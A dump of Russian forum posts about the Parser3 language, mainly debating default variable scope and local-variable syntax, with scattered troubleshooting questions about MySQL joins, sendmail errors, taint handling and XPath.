"57529","... тут обратная совместимость просто необходима - это очень кардинальное изменение, которое может привести к крайне трудноотлавливаемым ошибкам при работе со \"старым\" кодом, а пользы нет никакой. Вобще говоря, при нормальном проектировании, количество локальных переменных в методах большим быть не должно - с трудом верится, что код из 5-15 строчек может требовать \"декларации локальных переменных по 300 символов\" - тут явно повод для \"рефакторинга\".\
\
Сейчас в Парсере вполне нормальная схема работы: все переменные, которые не описаны как локальные в методах, становятся переменными класса (в том числе и класса MAIN) - это очень удбно, если активно использовать классы и забыть про понятие \"глобальная переменная\" - поверьте, оно просто не нужно и даже вредно.\
\
А вот идея с возможностью описания локальных переменных не только в заголовке метода, но и непосредственно в коде очень даже удачная (в варианте  \"$local.variable[]\"), а если еще можно сделать, чтобы область действия такой переменной была ограничена не всем методом, а блоком \"{ }\", то будет нам полное счастье.\
\
Есть единственное изменение, которое действительно нужно сделать и его обратно несовместимостью можно пренебречь: методы класса, имена которых совпадают с именами операторов, должны иметь более высокий приоритет, чем операторы. Чтобы было понятно приведу пример:\
[code]\
auto.p\
@method[aValue]\
  $result[$aValue]\
\
class.p\
@CLASS\
class.p\
\
@create[]\
  $_test[test]\
\
# здесь мы хотели, чтобы вызвался метода класса, \
# а вызовется \"глобальный\" метод\
  $_len[^method[test]]\
\
# никто не мешает сделать так, чтобы вызывался метод\
# класса, а если нужен оператор, то позвать его можно так:\
  $_res[^MAIN:method[test]]\
\
@method[aValue]\
  $result(^aValue.length[])\
[/code]\
\
Писать постоянно ^self.method или не иметь возможности ввести в класс переменную $cache достаточно неудобно."
"57531","[quote]тут обратная совместимость просто необходима - это очень кардинальное изменение, которое может привести к крайне трудноотлавливаемым ошибкам при работе со \"старым\" кодом, а пользы нет никакой.[/quote]\
\
Мне думается, нормально написанный код работать не перестанет, плохо написаный - перестанет рано или поздно.\
Думать о том, что произойдёт с кривым кодом, активно юзающем глобальные переменные - перебор.\
\
[quote]Вобще говоря, при нормальном проектировании, количество локальных переменных в методах большим быть не должно - с трудом верится, что код из 5-15 строчек может требовать \"декларации локальных переменных по 300 символов\" - тут явно повод для \"рефакторинга\".[/quote]\
\
Большинство методов таких деклараций не содержит, но есть достаточно сложные, разбивать которые на десятки мелких нет необходимости.\
\
[quote]Сейчас в Парсере вполне нормальная схема работы: все переменные, которые не описаны как локальные в методах, становятся переменными класса (в том числе и класса MAIN) - это очень удбно[/quote]\
\
Это очень неудобно.\
Не прописав переменную в локальные можно огрести такую ошибку, которую искать придётся часами.\
Рекурсия вам пример.\
\
[quote]если активно использовать классы и забыть про понятие \"глобальная переменная\" - поверьте, оно просто не нужно и даже вредно.[/quote]\
\
У меня нет глобальных переменных.\
Если вы внимательно читали мои сообщения, то я в них говорил о полях класса.\
Вот их глобальность относительно самого класса мне необходима и постоянно используется.\
\
[quote]А вот идея с возможностью описания локальных переменных не только в заголовке метода, но и непосредственно в коде очень даже удачная (в варианте \"$local.variable[]\"), а если еще можно сделать, чтобы область действия такой переменной была ограничена не всем методом, а блоком \"{ }\", то будет нам полное счастье.[/quote]\
\
Сейчас я вижу лишь, что все эти идеи призваны закрыть такую досадную штуку, как глобальность всех нелокальных переменных.\
\
[quote]Есть единственное изменение, которое действительно нужно сделать и его обратно несовместимостью можно пренебречь: методы класса, имена которых совпадают с именами операторов, должны иметь более высокий приоритет, чем операторы.[/quote]\
\
Тут согласный.\
Хотя эту фичу можно тоже использовать, но это настолько вуду за гранью, что понять чего и где перекрылось, зачастую, не представляется возможным..."
"57532","при работе со \"старым\" кодом нет необходимости использовать предлагаемый способ видимости переменных (имею в виду, что его можно будет переключать с помощью глобального ключика).\
\
перевести \"старый\" код на новые рельсы будет не настолько уж сложно.\
\
зато с новым кодом будет проще: если вы забыли объявить переменную класса, то вы не увидите её сразу же, пойдете и объявите. сейчас, в случае если забыть объявить переменную локальной, что в спешке бывает часто, то войдя в другой метод её значение запросто можно испортить. в этом случае, кстати, ошибку искать значительно сложнее (отладчика ведь нет).\
\
\
про видимость методов класса MAIN ПАФ уже писал: вы забываете, что это... операторы. это что-то, чем вы расширяете функционал языка. при таком подходе все становится на свои места: операторы должны быть доступны везде без всяких префиксов MAIN, и более того, они должны работать максимально быстро (минимум проверок их существования).\
\
кроме того, этой \"проблемы\" тоже почти не существует (как и ложки), если использовать класс MAIN по назначению (т.е. не сваливать в него кучу \"методов\") :)\
\
тем не менее мне тоже подобный подход не нравится (устал писать префикс self при вызове любого метода своего-же класса, чтобы кто-нибудь не \"поломал\" его, просто объявив в MAIN одноименный оператор.\
\
предлагаю варианты:\
- \"операторы\" объявляются иначе, например: @@foreach[hash;...]\
- сделать чтобы операторами были не методы класса MAIN, а методы какого-нить ещё класса с фиксированным именем (OPERATORS?). неудобство: их не разнести по нескольким файлам, которые удобно @USE/^use[] (например не все операторы мне нужны в этой ветке сложного if или операторы написанны разными людьми хочется использовать в проекте).\
- плюс к предыдущим сделать чтобы MAIN был неявным родителем любого пользовательского класса и соотв. поиск методов (но не переменных) происходил бы как обычно: сначала ищется метод класса, потом метод родительского класса, ... в конце - неявного родителя MAIN."
"57533","[quote]...я пишу код так быстро, что постоянно не успеваю, а то и вообще забываю добавлять в шапку метода названия его локальных переменных...[/quote]\
[quote]...в моих методах столько локальных переменных что шапка с их объявлением портит всю геометрию кода...[/quote]\
насколько я понимаю вышеописанные проблемы он с успехом решает.\
\
+ если я правильно понял подход, то по аналогии можно сделать и $static.variable[], $dynamic.variable[] etc...\
\
на счет $caller.[local.i] не совсем опять же понятен синтаксис, почему не $caller.local.i, так было бы логичнее — в контексте вызывающего метода (caller) в хранилище локальных переменных (local) ищем переменную i. Что-то вроде этого..."
"57536","если написать так:\
[code]\
^untaint[as-is]{^hParams.names.foreach[key;value]{$key ^if(def $value){ AS $value }}[,]}\
[/code]\
\
то работает. проблема возникает из-за того, что символ `'` который вы написали в key хеша почему-то считается не clean, хотя он должен таковым быть, т.к. написан в коде. посмотрю."
"57540","У меня есть такие конструкции и пашут все до одной..."
"57542","У меня в нескольких классах в ключах хэша передаётся ['...'] и подставляется в запрос - всё пашет."
"57543","я сделал copy/paste приведенного кода, увидел ошибку, упростил key до `''`, продолжал видеть ошибку, при этом mysql писАл в тексте ошибки про `\\'\\'`, добавил untaint[as-is] и увидел что sql ошибка пропала.\
\
проверял на 3.2.1 + freebsd и на win версии из cvs head\
\
это не работает:\
[code]\
$h[\
	$.['1'][]\
]\
^pSQL.string{SELECT ^h.foreach[k;]{$k}[,]}\
\
[/code]\
\
а это работает:\
\
[code]\
$h[\
	$.['1'][]\
]\
^pSQL.string{SELECT ^h.foreach[k;]{^untaint[as-is]{$k}}[,]}\
\
[/code]"
"57545","Полез проверил, передавал с апострофами, но не через хэш, а как параметр методу.\
[code]$tParents[^self.getItems['$tItems.sNomenclature';path]][/code]\
\
ПосЫпал."
"57546","Перепаковал и переименовал в формат архивов, выложенных в разделе «скачать».\
CGI скрипт с поддержкой XML:\
[url=\"http://www.permlug.org/data/trash/parser3_2_1sp2_debian31sarge_cgi_xml.tar.gz\"]parser3_2_1sp2_debian31sarge_cgi_xml.tar.gz[/url]\
SQL драйвер для MySQL:\
[url=\"http://www.permlug.org/data/trash/parser3sql_1_4_debian31sarge_mysql.tar.gz\"]parser3sql_1_4_debian31sarge_mysql.tar.gz[/url]\
\
P.S. обращаю внимание, что скомпилено под i686."
"57549","разжёвываю про $caller.[local.i]\
\
вот написали вы свой итератор:\
[code]\
@foreach[varName;...]\
$caller.$varName(1)\
...\
[/code]\
и пользуетесь именем переменной, чтобы добраться до неё в контексте вызова ($caller.тут).\
\
если вызывать так:\
[code]\
^foreach[i](...){...}\
[/code]\
то всё понятно, получаем\
$caller.i\
и все довольны.\
\
если же вызывать так:\
[code]\
^foreach[local.i](...){...}\
[/code]\
то получаем\
[code]\
@foreach[varName;...]\
#тут varName равно \"local.i\"\
#и эта запись \
$caller.$varName(1)\
#эквивалентна этому записи \
$caller.[local.i](1)\
[/code]\
а такой переменной (с точкой в имени)\
в контексте вызова, понятно, нет.\
\
в принципе, проблемы нет при обращении к локальным переменным посматривать на префикс на ходу, и если он есть, отрезать перед просмотром списка локальных переменных.\
\
однако, согласитесь, цена вопроса = торможение на обращении ко всем локальным переменным нас не устроит.\
\
нужна идея."
"57550","преимущества объявления локальных в контексте первого использования ясны из жизни.\
или, на худой конец, из любой книжки по вопросу красоты кода."
"57551","вы предлагайте, обсудим.\
не забудьте перечитать последний абзац\
http://www.parser.ru/forum/?id=57494"
"57552","и даже с переключателем не супер:\
[code]\
@CLASS\
derived1\
@BASE\
base1\
@abc[]\
#локальна? или поле?\
$variable[кукуки]\
[/code]\
\
просто глядя на метод abc, [b]абсолютно[/b] непонятно, что тогда будет значить это самое \
[code]\
$variable[кукуки]\
[/code]\
\
то ли локальная (согласно непонятному мне желанию всё олокалить)\
то ли поле класса (вдруг метод abc[] будет вызван как конструктор).\
\
мне это разночтение кажется конкретным бредом.\
лишним подтверждением старой мысли \"если самолёт некрасив, не полетит\" (с) Туполев."
"57553","кажется, придумалось, как обойти проблему.\
увы, нравится мне средне.\
\
можно [b]немножко[b] поправить компилятор, чтобы встречая строку\
\"LOCAL.\"\
он из текста её выкусывал (как будто и не было её).\
но делал те же действия, что делает сейчас, встречая\
[code]\
@method[][объявления;тут;вот]\
[/code]\
\
конечно, перед строкой должно быть '$' или '[' (и ещё нужно подумать, как ограничить аппетит).\
\
большие буквы нужны, чтобы подчеркнуть, что это действие выполняется при компиляции, а вовсе не при выполнении.\
\
варианты:\
[code]\
$LOCAL.variable\
$MY.variable\
$METHOD.variable\
$L.variable\
$CODE.variable\
[/code]\
предложения?"
"57556","Даже если у класса несколько конструкторов, то понять всё проще, нежели в текущей реализации, когда кодер поленился написать хорошо.\
На помощь всегда придут имена полей, имена конструкторов, properties, если угодно.\
\
Туполев был абсолютно прав.\
Но лично мне кажется непонятной и странной (= некрасивой) текущее положение - всё оглобалить.\
Это всё провоцирует глобальными переменными пользоваться и отучается человек с большой неохотой.\
\
Если вы, Александр, поясните для какой высшей цели всё глобально по умолчанию, быть может я прозрею и до сих пор блуждал впотёмках?..\
\
Я не могу припомнить ни одного известного мне языка с глобальностью по умолчанию, такие есть в природе?.."
"57560","[code]\
@main[]\
# есть некоторая глобальная большая таблица\
$table[^table::create{name	test\
1	2\
2	4\
3	5\
}]\
^method2[]\
\
# есть некий метод черт знает в каких дебрях\
@method1[hParams][table2]\
# в этом методе из большой таблицы делается некая выборка\
$table2[^table::create[$table;$.limit(2)]]\
^table2.menu{\
# и тут я хочу увидеть результат отправленного кода, но к сожалению не увижу\
	$table2.name = $hParams.code\
}[|]\
\
# а этот метод хочет результат выполнения 1го метода, но с частично своим кодом\
@method2[]\
^method1[\
# это код которого в данный момент не хватает в том методе для полного счастья\
# и этому коду очень нужна вторая таблица\
	$.code{$table2.test}\
]\
[/code]\
\
Естественно выведет: [b] 1 = | 2 = [/b]\
\
process не подходит $table2 локальная в методе, и множить эти таблицы то есть создавать еще одну глобальную мне не хочется + таких вызовов может быть много с разными параметрами. Junction тоже долго не живет к сожалению.\
\
В связи с этим назрели следующие вопросы:\
a) Куда катится этот мир?\
б)Почему process не поддерживает контекст метода?\
в) Может есть какой нибудь финт ушами?\
\
(передачу имен столбцов не предлагать, хотелось бы именно дополнить метод кодом связанным с его локальной таблицей)"
"57561","кажется, я указывал: Perl.\
и разъяснял резоны.\
конкретнее?"
"57562","Однако, направленность у языков разная.\
С учётом того, что Парсер простой и масса людей без подготовки начинает писать глобальность оказывает медвежью услугу...\
\
Более удобное объявления локальности решит лишь следствие положения дел, причина же сохранится.\
\
Александр, а каковы причины глобальности в Perl?"
"57563","Извините, что влезаю, а зачем вам все танцы с лишними буквами $Local.var и т.п.?\
\
Введите для глобальных переменных префикс \"йена\" вместо \"$\". Ну, или не йену, а знак звёздочки или любой другой, присутствующий на клавиатуре..."
"57564","У меня на этом хостинге http://rednet.ru/ Парсер работает, но частично. То памяти ему мало, то почту не отсылает, то еще что-то. Ошибки вылезают время от времени, что даже не успеваю попасть на них. Только по логам наблюдаю безрадостную картину. \
\
И это притом, что все скрипты давно! работают отлично на локальном, у Петерхоста, на Арбатеке и еще на собственных серверах. \
\
Плюс, хостер дал unlimited на память для моих скриптов, но это не помогает. \
\
Хостер считает, что он прав, и виноват парсер.\
\
КТО ХОСТИТСЯ НА RedNet-е [b]УСПЕШНО[/b], помогите, если вы уже эту проблему решили как-то!!!"
"57565","При отправке письма с сайта возникает ошибка:\
\
[code]'send' '/usr/sbin/sendmail' reported problem: \
sendmail: warning: fork: Resource temporarily unavailable\
sendmail: warning: fork: Resource temporarily unavailable\
sendmail: warning: fork: Resource temporarily unavailable\
sendmail: warning: fork: Resource temporarily unavailable\
sendmail: warning: fork: Resource temporarily unavailable\
sendmail: warning: fork: Resource temporarily unavailable\
sendmail: warning: fork: Resource temporarily unavailable\
sendmail: warning: fork: Resource temporarily unavailable\
sendmail: warning: fork: Resource temporarily unavailable\
sendmail: warning: fork: Resource temporarily unavailable\
sendmail: warning: fork: Resource temporarily unavailable\
sendmail: warning: fork: Resource temporarily unavailable\
sendmail: warning: fork: Resource temporarily unavailable\
sendmail: warning: fork: Resource temporarily unavailable\
 (0) [email.send][/code]\
\
Не работает только на одном хостере. На других работает.\
Что это означает?"
"57566","... что для того чтобы вывести его в чистом поле необходимо будет его эскейпить, т.е. теряется обратная совместимость (хоть символ может быть и редковстречающимся)."
"57567","основная мысль, из-за которой _мне_ хотелось чтобы все переменные по умолчанию были локальными - неудобство их объявления.\
\
т.е. сначала я пишу код метода, потом просматриваю что я написал, иду и вписываю использованные мной переменные в список локальных. потом я начинаю отлаживать код, что-то меняю, переменные изменяются и я иду ещё раз сравнивать что было и что стало.\
\
в предлагаемой реализации мне не нужно будет сравнивать список локальных переменных в объявлении метода со списком переменных, реально использующихся в теле метода, т.к. я буду объявлять их локальными прямо перед использованием. правда... будет куча букв '$LOCAL.' в коде %-)\
\
из предложенных префиксов мне больше всего нравится $LOCAL"
"57568","Есть запрос\
[code]SELECT groups.type_is, \
article.id, \
article.parent_id, \
article.dt_published, \
article_translation.lang_id, \
article_translation.title, \
media.id AS media_id\
FROM groups, article, article_translation\
LEFT JOIN media ON article.id = media.article_id\
LEFT JOIN media_translation ON media_translation.media_id = media.id\
WHERE article_translation.article_id = article.id\
AND groups.id = article.group_id\
AND groups.type_is &64 =64\
AND article_translation.lang_id =1\
AND YEAR( article.dt_published ) >=2006\
AND MONTH( article.dt_published ) >=12\
AND DATE_FORMAT( article.dt_published, '%d' ) >=15\
AND YEAR( article.dt_published ) <=2006\
AND MONTH( article.dt_published ) <=12\
AND DATE_FORMAT( article.dt_published, '%d' ) <=15\
ORDER BY dt_published DESC[/code]\
\
На мускуле 4.1 все работало. На 5.0 не работает. Пишет ошибку\
\
[code]#1054 - Unknown column 'article.id' in 'on clause' [/code]\
\
Проверил доки по 5-ому мускулю - все верно. Причем таблицы перенесены с одной БД на другую 1 в 1 - все остальные запросы работают на ура. Где собака?"
"57569","[code]\
@main[]\
# есть некоторая глобальная большая таблица\
$table[^table::create{name	test\
1	2\
2	4\
3	5\
}]\
^method2[]\
\
# есть некий метод черт знает в каких дебрях\
@method1[hParams][table2]\
# в этом методе из большой таблицы делается некая выборка\
$table2[^table::create[$table;$.limit(2)]]\
^table2.menu{\
^process{@code[hFields]$hParams.code}\
	$table2.name = ^code[$table2.fields]\
}[|]\
\
# а этот метод хочет результат выполнения 1го метода, но с частично своим кодом\
@method2[]\
^method1[\
# это код которого в данный момент не хватает в том методе для полного счастья\
# и этому коду очень нужна вторая таблица\
	$.code[^$hFields.test]\
]\
[/code]"
"57570","для 5.0 это не верно\
\
конструкция:\
\"article_translation LEFT JOIN media ON article.id = media.article_id\" делает last join таблицы media к таблице article_translation, соотв. поле article.id неизвестно.\
\
меняйте местами таблицы во FROM"
"57571","идея делать process, да ещё и в menu - ужасна. в 99% случаев вообще стоит забыть о том, что есть process.\
\
что мешяет передать указатель на метод, который будет вызван и сделает то что вам нужно?\
\
[code]@main[]\
^method[$method2]\
^method[$method3]\
\
\
@method[jMethod]\
^jMethod[]\
\
\
@method2[]\
2\
\
\
@method3[]\
3\
[/code]"
"57572","Жаль что уже нельзя локальные сделать по-умолчанию."
"57574","Короче, есть Перловый скрипт, который берет рисунок, и сейвит его посредством библиотеки ИмейджМеджик. После сейва, в этом же сеансе(вызове), я Парсером проверяю (пытаюсь) размеры сохраненного рисунка и получаю\
[code]d:/hst/qha-com-ua_2a147fd7/http/test/thumb.jpg\
measure failed: No such file or directory (2), actual filename 'd:/hst/qha-com-ua_2a147fd7/http/test/thumb.jpg' [/code]\
Причем если после сейва, запустить другую страницу, на которой идет замер вышеуказанного рисунка - то все путем - Парсер его видит и выводит, т.е. проблема явно не в путях.\
\
Хостинг Виндовый, документ_рут \"прямой\". В чем может быть проблема?"
"57575","Привет всем!\
Использую auth.p, вопросы (скорее к автору):\
1. В классе нет проверки на возможность зарегистрировать пользователя с логином из пробелов (одного или нескольких). Где такую проверку правильней добавить?\
2. Не пойму как выдавать сообщения об ошибке при неверном логине(имени) или пароле из формы логина.\
Спасибо."
"57577","1. a) перекрываем методы beforeInsert/beforeUpdate\
b) добавляем проверки в try перед вызовами updateUser/insertUner (см. _auth_profile.html)\
\
2. см. _auth_info.html"
"57578","[code]sql\
options must be hash, not code (parametr #2)[/code]\
В чем может быть причина появления этой ошибки?"
"57582","...и у меня есть ощущение что выбранный вами путь невернен в случае решения задачи на парсере.\
\
и все равно я не пользовался бы process, а например сделал бы что-то типа приведенных с FAQ @steppedfor и @foreach: ваш метод помещает что-то в $caller.$sVarName и вызывает переданный ему $jCode.\
\
т.е. @method2[] выгладел-бы примерно так:\
[code]@method2[][tTable]\
^method1[tTable]{$tTable.test}[/code]"
"57583","ровно ничего плохого в объявлении локальных переменных я не вижу.\
\
о причинах глобальности в Perl, можно попробовать спросить Larry Wall'а. Полагаю, можно найти его публикации и на эту тему. я специально не искал = не подскажу. кто ищет..\
\
Camel book O'Reily была написана в соавторстве с Wall'ом. Книга известным образом повлияла на моё понимание, какой должна быть документация по Parser, которое, кажется, удалось передать авторам документации.\
Алексей Сорокин и Владимир Муров удивительные молодцы!"
"57584","как подумал о пачках $LOCAL. $LOCAL. $LOCAL., дурно сделалось.\
\
чего только не придумаешь, чтобы меньше букв нажимать:\
[code]\
@method1[]\
#объявили\
$:variable1[]\
#объявили и присвоили\
$:variable2[ура ли]\
#объявили и в дело\
^for[:i](0;10){$i * 2 = ^eval($i*2)<br/>}\
[/code]\
\
кажется, это немного лучше предыдущих вариантов.\
полный бред?"
"57585","спасибо за наводку. кажется, когда писал\
http://www.parser.ru/forum/?id=57584\
видел ваше сообщение краем глаза.\
\
пробуем ваш вариант:\
[code]\
@method2[]\
#объявили\
$@variable1[]\
#объявили и присвоили\
$@variable2[ура ли]\
#объявили и в дело\
^for[@i](0;10){$i * 2 = ^eval($i*2)<br/>}\
[/code]\
\
-смотрится не очень\
+знак намекает на @методо-локальность\
-искать @мет менее удобно станет\
\
кто что думает?\
\
\
в Perl есть \
@$arrayReference получить массив по ссылке, и \
$#array получить индекс последнего элемента массива\
\
так что не будем первопроходцами.\
\
[code]\
#вот это было взято мной из Perl as-is\
$$name \
[/code]"
"57586","_Мне_ тоже больше других нравится вариант с $LOCAL. Он очевиден, легко-воспринимаем. \
\
Двоеточие трудно заметить, и _я_ нигде не встречал подобного объявления переменных, это непривычно.\
\
Единственное замечание по LOCAL. Это похоже на объявление поля класса LOCAL. Почему бы не сделать объявление этого поля класса статическим, как это уже реализовано в MAIN.\
\
[code]\
@method[params]\
$LOCAL:temp1[это]\
$LOCAL:temp2[красиво?]\
...\
#/method\
[/code]\
\
\
Убеждён(© Путин), $LOCAL... $LOCAL... $LOCAL... $LOCAL... не очень часто встречающаяся конструкция. И то что она явно будет говорить о том, что тут объявляется много локальных переменных - совсем не плохо."
"57588","Почему не получается писать xpath русскими буквами?\
\
[code]$sendmode[^ANKETA.xdoc.selectSingle[/опрос/режим]][/code]\
\
Выдает ошибку:\
\
[code]Источник:  selectSingle\
Описание:  Invalid expression  \
Тип ошибки:  xml [/code]"
"57589","Короче, ситуация почти такая же, как и [url=\"http://www.parser.ru/forum/?id=23096\"]тут[/url].\
\
Сервер Apache 1.3 под Windows 2003, установленный в C:\\Apache; есть папка C:\\Web, для которой сделана символическая ссылка на C:\\Apache\\htdocs.\
\
После выполнения кода ^file:delete[$some_file], где $some_file есть /other/file.txt, parser удаляет линк C:\\Apache\\htdocs. В каталоге C:\\Web\\other куча файлов помимо file.txt. В результате падает сайт - выдает 404 ошибку. Причем при доступе через ФТП все файлы на месте.\
\
Я не понимаю, почему затирается линк? Это баг Парсера, или кривость хостинга? Если это Парсер - буду удалять Перлом, если это хостинг - буду пинать поддержку. Кто нибудь еще сталкивался с подобным?"
"57590","[code]^foreach[local.i](...){...}[/code]\
тоесть мы передаем методу ^foreach имя нашей переменной, одновременно пытаясь объявить эту переменную локальной таким странным способом? Почему нельзя сначала объявить ее, а потом уже передавать?\
[code]$local.i[]\
^foreach[i](...){...}[/code]\
или, раз уж local все равно будет зарезервировано\
[code]^foreach[$local[i]](...){...}\
\
^foreach[^local[i]](...){...}[/code]\
\
на счет $LOCAL, оно хоть и удобное в каком-то смысле, но выглядит действительно ужасно; $@variable и $:variable выглядят получше, но тоже как-то неестественно..."
"57591","т.к. код работал на другом хосте (Юникс), и был просто перенесен на Вин-хостинг."
"57592","Perl - тот ещё монстр и помимо его мощи в нём присутсвует такая мешанина, что ещё поискать.\
Я сам на нём не писал, но, читая о частных случаях и логике работы, не радуюсь.\
\
Есть такое выражение: \"делай хорошо, плохо - само получится\".\
Сейчас же \"плохо\" (глобально) получается само, а чтобы сделать \"хорошо\" (локально) приходится прилагать усилия.\
Мне это кажется в корне неверным.\
\
Много раз в форуме, в том числе и от вас, Александр, звучали совершенно верные слова о вреде глобальных переменных.\
На практике же их использование - дефолтное, фактически - поощряется.\
\
У меня ещё сохранился и до сих пор работает код достаточно большой \"гостевой книги\", который написан в период знакомства с Парсером с повсеместным использованием глобальных переменных.\
Заглянув недавно - ужаснулся.\
Понять как и что там работает - невозможно, сколько впустую пропадает ресурсов - за пределом границ фантазии...\
Думаю, если бы с глобальность положение дел было изначально другим, то и результат писанины - тоже.\
\
Эта и странность с перекрытием операторами методов класса (что засталяет всюду писать self.) - те две вещи, которые меня всё сильней удивляют в отличном и продумманом языке."
"57593","согласитесь.\
предпочёл бы сейчас не дискутировать о достоинствах и недостатках Perl.\
у нас с вами есть Parser, и возможность на него влиять."
"57594","но не очень удобно.\
\
предлагаемые варианты, конечно, не идеальны.\
(было бы лучше, чтобы автор сильно пораньше озаботился этой проблемой. автору, очевидно, далеко до образцов)"
"57595","естественность, конечно же, субъективная вещь.\
тут вот как можно думать про это двоеточие:\
\
допустим в языке появился официальный системный класс \"LOCAL\", с объявленным поведением: он куда-то сохраняет своё состояние при вызове метода, и обнуляет его (застирает все поля), и восстанавливает вновь при возврате из того метода.\
\
тогда запись\
[code]\
@method1[]\
$LOCAL:variable1[инициализируем]\
[/code]\
\
выглядит вполне нормальной.\
мы положили \"в этот полезный самосохраняющий-самовосстанавливающий класс\", потом достанем.\
\
при этом запись\
[code]\
@method1[]\
$:variable1[инициализируем]\
[/code]\
суть сокращение.\
\
думать можно, что \"мы положили переменную в тот-самый полезный класс, ну вы поняли в какой, не будем и писать, чтобы поберечь клавиатуру\"."
"57596","приведённым вариантом вы напомнили мне о ещё одном пожелании: \"чтобы было проще проверять\"\
\
один раз оно даже прозвучало тут (о нём я тоже параллельно думал, но не высказывался, поскольку ничего путного тогда не придумалось).\
\
комбинируем:\
[code]\
^if($:list[^load[]]){\
    Найдено ^list.count[] желудей.<br/>\
    Список:<br/>\
    ^list.menu{…}\
}{\
    голодуха\
}\
[/code]\
\
опять же, как звучало, неплохо бы чтобы область видимости этих переменных были была ограничена этим оператором.\
\
сам я частенько пишу не только так (C++):\
[code]\
if(Session session=sessions.find(sessionId)) {\
  …\
}\
[/code]\
\
но вообще вот так:\
[code]\
Session session(0);\
{\
   BigEntity bigEntity=getBigEntity();\
   SmallerEntity smallerEntity=bigEntity.getBigEntity();\
   session=smallerEntity.find(sessionId);\
}\
if(session) {\
}\
[/code]\
т.е. когда кусочек кода черезчур короток и недостоин имени, отделяюсь в небольшой scope, чтобы не замусоривать временными переменными локальное пространство имён.\
\
ещё раз: это подчёркивает, что переменные biggerEntity/smallerEntity нигде ниже по коду не будут использоваться, что их жизнь завершена }тут.\
\
\
теперь, когда вопрос поднялся, можно попробовать застрелить обоих зайцев.\
вдруг удастся придумать?"
"57597","вариант сужение областей видимости локальных переменных.\
\
возможно, часть читателей недоумевают, о каких \"более локальных\" мы тут толкуем.\
казалось бы, уже есть глобальные\
[code]\
$MAIN:global1\
[/code], статические\
[code]$CLASS:static1[/code], локальные [code]@method[][local1][/code] переменные, чего-ж ещё?\
\
а того, что часто переменная нужна ну совсем ненадолго.\
скажем,\
[code]\
^if(условие){\
   только если надо, мы делаем какое-то дело.\
   скажем, что-то там загружаем и выводим\
   иногда это дело большое, \
   и мы благоразумно выделяем это большое дело в метод\
   ^actions[]\
}\
[/code]\
\
но гораздо чаще бывает, что дело это небольшое, на метод не тянущее:\
[code]\
^if(условие){\
  $local1[загружаем]\
  обрабатываем\
  выводим\
  $local1\
}\
#вот тут нам эта $local1 не нужна совсем\
[/code]\
\
вот это и хочется подчеркнуть.\
\
это можно сделать по-разному:\
как \"local(variable1);\" в Perl — когда значение переменной сохраняется и восстанавливается в конце действия local.\
или как Perl \"my\", оно же \"обычные локальные\" в C++, java, .net — когда значение переменной никуда не сохраняется, а просто \"локально в области видимости, а вовсе не во всём методе\".\
в .net пошли дальше предшественников, явно запретив такое:\
[code]\
int a;\
{\
   int a;\
}\
[/code]\
в .net это не warning, а error.\
\
мне кажется, Parser тут ближе по духу к Perl.\
однако разводить Perl'овый local очень не хочется.\
там этот local действовал через границу вызовов методов.\
т.е. \
[code]\
local($magic)=123;\
sub test{ print $magic; }\
test();\
[/code]\
печатал 123 за здорово живёшь.\
\
это мне в Perl никогда не нравилось.\
в Parser мы подвели под это базу: у нас это законное \"поле объекта\", а вовсе не чудище \"хитрпролезшая подсохранившаяся глобальная переменная\".\
\
увы, опять же в силу особенностей реализации, мне пока малопонятно, как сделать \"my\". куда яснее, как сделать \"local\", или подделать \"@method[][local1]\".\
\
ещё подумаем."
"57598","Разбираю пример разделения строки на сегменты\
\
[code]$str[1234567890]\
^str.match[(?<=\\d)(?=(?:\\d\\d\\d)+(?!\\d))][g]{&nbsp^;}[/code]\
\
Получаю результат 1&nbsp;&nbsp;234567890\
\
Хотя в The Regex Coach, все корректно работает."
"57599","Perl не обсуждается вообще, да и не может с моей стороны ибо незнаком достаточно глубоко.\
Просто очевидно, что вы много брали и берёте из Perl'а, в последствии перенося в Парсер.\
Но не нужно слепого копирования, и на звёздах есть пятна, что вы сами отмечаете сообщением ниже (http://www.parser.ru/forum/?id=57597).\
\
Из моего погреба видится следующая картина мира: по непонятной мне причине (возможно, чтобы не изобретать лишнего и не бороться с некоторыми противоречиями) из Perl была взята схема повсеместной глобальности.\
\
По прошествии нескольких лет, когда объём кода на Парсере стал немаленьким и у кодеров появилось желание писать структурированно ситуация с глобальностью и \"ручной\" локальностью стала критической.\
\
Всё это обсуждалось между кодерами и год назад, но в форум не выкладывалось.\
На вопрос \"почему всё глобально?\" все пожимали плечами, говоря \"видимо, так надо\".\
Почему \"так надо\" - я из ваших ответов не понял, те, у кого просил пояснения ваших слов (может я такой тупой) - не поняли так же.\
\
С появление темы все (в том числе и вы, Александр!) начали усиленно придумывать решение тех проблем, что были успешно себе созданы.\
\
Преславутое \"взять и поделить\" - отброшено сразу.\
А, между тем, это решение - самое верное, да болезненненное, да обратнонесовместимое (почти), да не без противоречий.\
Но это шаг вперёд, а не топтание на месте.\
\
На этом я умываю руки.\
Биться лбом об стену боле нет ни малейшего желание.\
Все эти идеи с local, @, #, : и прочим, вы уж простите, бред.\
Оставьте лучше всё как есть, лично я буду заново вписывать строчки локальных, муторно, но хотя бы привычно."
"57601","То с чем Вы пытаетесь \"бороться\" на самом деле преимущество, а не недостаток языка. Сейчас мы имеем \"ограниченную глобальность\": переменная не может перейти границу класса, что дает программисту большую свободу при разработке, т.к. не навязывает жесткого стиля кодирования и позволят писать очень ясный и прозрачный код, но еще и позволяет избегать проблем на межклассовом уровне. Поверьте, это очень хорошо! (Примеров можно привести массу, но мы не об этом говорим.) \
\
Единственное слабое место - не очень удачная (хотя мне, например, это и не мешает) система описания локальных переменных в МЕТОДАХ, но это поправимо - вариантов уже предложено достаточно много и, надеюсь, реализация не за горами. \
\
p.s. Если говорить о кардинальных изменениях, то я бы сделал все переменные классов private, разрешив таким образом обращение к полям исключительно через методы и свойства - многие проблемы это решило бы. Только вот нужно ли нам такое ограничение? Сомневаюсь."
"57602","могу привести куски отладки.\
\
в вашем случае: разделите выражение на части и решайте постепенно.\
ещё раз опубликуете вопрос, без того, чтобы самому посидеть, поразбираться, сотру неглядя."
"57603","[quote]То с чем Вы пытаетесь \"бороться\" на самом деле преимущество[/quote]\
\
Это \"преимущество\" позволяет делать такие вещи, которые делают код совершенно нечитаемым.\
А так же поощряют неверный стиль кодирования.\
\
[quote]Сейчас мы имеем \"ограниченную глобальность\": переменная не может перейти границу класса[/quote]\
\
Ну если бы она ещё могла перейти границу это был бы полный финиш...\
\
[quote]Поверьте, это очень хорошо! (Примеров можно привести массу, но мы не об этом говорим.)[/quote]\
\
Не вижу ничего хорошего, приведите пример, может я упорно не понимаю своего счатья.\
\
